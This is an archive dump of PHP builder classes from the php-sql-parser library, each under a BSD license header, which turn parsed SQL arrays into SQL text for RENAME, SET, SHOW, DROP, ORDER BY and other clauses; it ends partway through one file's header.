PK     \Cp    U  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/BracketStatementBuilder.phpnu [        <?php
/**
 * BracketStatementBuilder.php
 *
 * Builds the parentheses around a statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the parentheses around a statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class BracketStatementBuilder implements Builder {

    protected function buildSelectBracketExpression($parsed) {
        $builder = new SelectBracketExpressionBuilder();
        return $builder->build($parsed, " ");
    }

    protected function buildSelectStatement($parsed) {
        $builder = new SelectStatementBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = "";
        foreach ($parsed['BRACKET'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildSelectBracketExpression($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('BRACKET', $k, $v, 'expr_type');
            }
        }
        return trim($sql . " " . trim($this->buildSelectStatement($parsed)));
    }
}
?>
PK     \u9҆    T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/RenameStatementBuilder.phpnu [        <?php
/**
 * RenameStatement.php
 *
 * Builds the RENAME statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the RENAME statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class RenameStatementBuilder implements Builder {

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function processSourceAndDestTable($v) {
        if (!isset($v['source']) || !isset($v['destination'])) {
            return '';
        }
        return $v['source']['base_expr'] . ' TO ' . $v['destination']['base_expr'] . ',';
    }

    public function build(array $parsed) {
        $rename = $parsed['RENAME'];
        $sql = '';
        foreach ($rename['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->processSourceAndDestTable($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('RENAME subtree', $k, $v, 'expr_type');
            }

            $sql .= ' ';
        }
        $sql = trim('RENAME ' . $sql);
        return (substr($sql, -1) === ',' ? substr($sql, 0, -1) : $sql);
    }
}

?>
PK     \X
  
  H  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SetBuilder.phpnu [        <?php
/**
 * SetBuilder.php
 *
 * Builds the SET part of the INSERT statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the SET part of INSERT statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class SetBuilder implements Builder {

    protected function buildSetExpression($parsed) {
        $builder = new SetExpressionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = "";
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildSetExpression($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('SET', $k, $v, 'expr_type');
            }

            $sql .= ",";
        }
        return "SET " . substr($sql, 0, -1);
    }
}
?>
PK     \Wg:    P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateIndexBuilder.phpnu [        <?php
/**
 * CreateIndex.php
 *
 * Builds the CREATE INDEX statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the CREATE INDEX statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CreateIndexBuilder implements Builder {

    protected function buildIndexType($parsed) {
        $builder = new CreateIndexTypeBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexTable($parsed) {
        $builder = new CreateIndexTableBuilder();
        return $builder->build($parsed);
    }

    protected function buildIndexOptions($parsed) {
        $builder = new CreateIndexOptionsBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = $parsed['name'];
        $sql .= ' ' . $this->buildIndexType($parsed);
        $sql = trim($sql);
        $sql .= ' ' . $this->buildIndexTable($parsed);
        $sql = trim($sql);
        $sql .= $this->buildIndexOptions($parsed);
        return trim($sql);
    }

}
?>
PK     \a0O  O  I  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ShowBuilder.phpnu [        <?php
/**
 * ShowBuilder.php
 *
 * Builds the SHOW statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the SHOW statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ShowBuilder implements Builder {

    protected function buildTable($parsed, $delim) {
        $builder = new TableBuilder();
        return $builder->build($parsed, $delim);
    }

    protected function buildFunction($parsed) {
        $builder = new FunctionBuilder();
        return $builder->build($parsed);
    }

    protected function buildProcedure($parsed) {
        $builder = new ProcedureBuilder();
        return $builder->build($parsed);
    }

    protected function buildDatabase($parsed) {
        $builder = new DatabaseBuilder();
        return $builder->build($parsed);
    }

    protected function buildEngine($parsed) {
        $builder = new EngineBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $show = $parsed['SHOW'];
        $sql = "";
        foreach ($show as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildEngine($v);
            $sql .= $this->buildDatabase($v);
            $sql .= $this->buildProcedure($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildTable($v, 0);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('SHOW', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }

        $sql = substr($sql, 0, -1);
        return "SHOW " . $sql;
    }
}
?>
PK     \@6G	  G	  R  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DropStatementBuilder.phpnu [        <?php
/**
 * DropStatement.php
 *
 * Builds the DROP statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the whole DROP TABLE statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class DropStatementBuilder implements Builder {

	protected function buildDROP( $parsed ) {
		$builder = new DropBuilder();
		return $builder->build( $parsed );
	}

	public function build( array $parsed ) {
		return $this->buildDROP( $parsed );
	}
}
?>
PK     \dD
  
  O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ConstraintBuilder.phpnu [        <?php
/**
 * ConstraintBuilder.php
 *
 * Builds the constraint statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the constraint statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ConstraintBuilder implements Builder {

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::CONSTRAINT) {
            return '';
        }
        $sql = $parsed['sub_tree'] === false ? '' : $this->buildConstant($parsed['sub_tree']);
        return "CONSTRAINT" . (empty($sql) ? '' : (' ' . $sql));
    }

}
?>
PK     \0P    L  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByBuilder.phpnu [        <?php
/**
 * OrderByBuilder.php
 *
 * Builds the ORDERBY clause.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the ORDER-BY clause. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class OrderByBuilder implements Builder {

    protected function buildFunction($parsed) {
        $builder = new OrderByFunctionBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildReserved($parsed) {
        $builder = new OrderByReservedBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildColRef($parsed) {
        $builder = new OrderByColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildAlias($parsed) {
        $builder = new OrderByAliasBuilder();
        return $builder->build($parsed);
    }

    protected function buildExpression($parsed) {
        $builder = new OrderByExpressionBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildBracketExpression($parsed) {
        $builder = new OrderByBracketExpressionBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildPosition($parsed) {
        $builder = new OrderByPositionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = "";
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildAlias($v);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildExpression($v);
            $sql .= $this->buildBracketExpression($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildPosition($v);
            
            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('ORDER', $k, $v, 'expr_type');
            }

            $sql .= ", ";
        }
        $sql = substr($sql, 0, -2);
        return "ORDER BY " . $sql;
    }
}
?>
PK     \+
  +
  T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByReservedBuilder.phpnu [        <?php
/**
 * OrderByReservedBuilder.php
 *
 * Builds reserved keywords within the ORDER-BY part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for reserved keywords within the ORDER-BY part. 
 * It must contain the direction. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class OrderByReservedBuilder extends ReservedBuilder {

    protected function buildDirection($parsed) {
        $builder = new DirectionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = parent::build($parsed);
        if ($sql !== '') {
            $sql .= $this->buildDirection($parsed);
        }
        return $sql;
    }

}
?>
PK     \}t$_	  _	  I  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ViewBuilder.phpnu [        <?php
/**
 * ViewBuilder.php
 *
 * Builds the view within the DROP statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for a view within DROP statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ViewBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::VIEW) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \8#+  +  T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DeleteStatementBuilder.phpnu [        <?php
/**
 * DeleteStatementBuilder.php
 *
 * Builds the DELETE statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
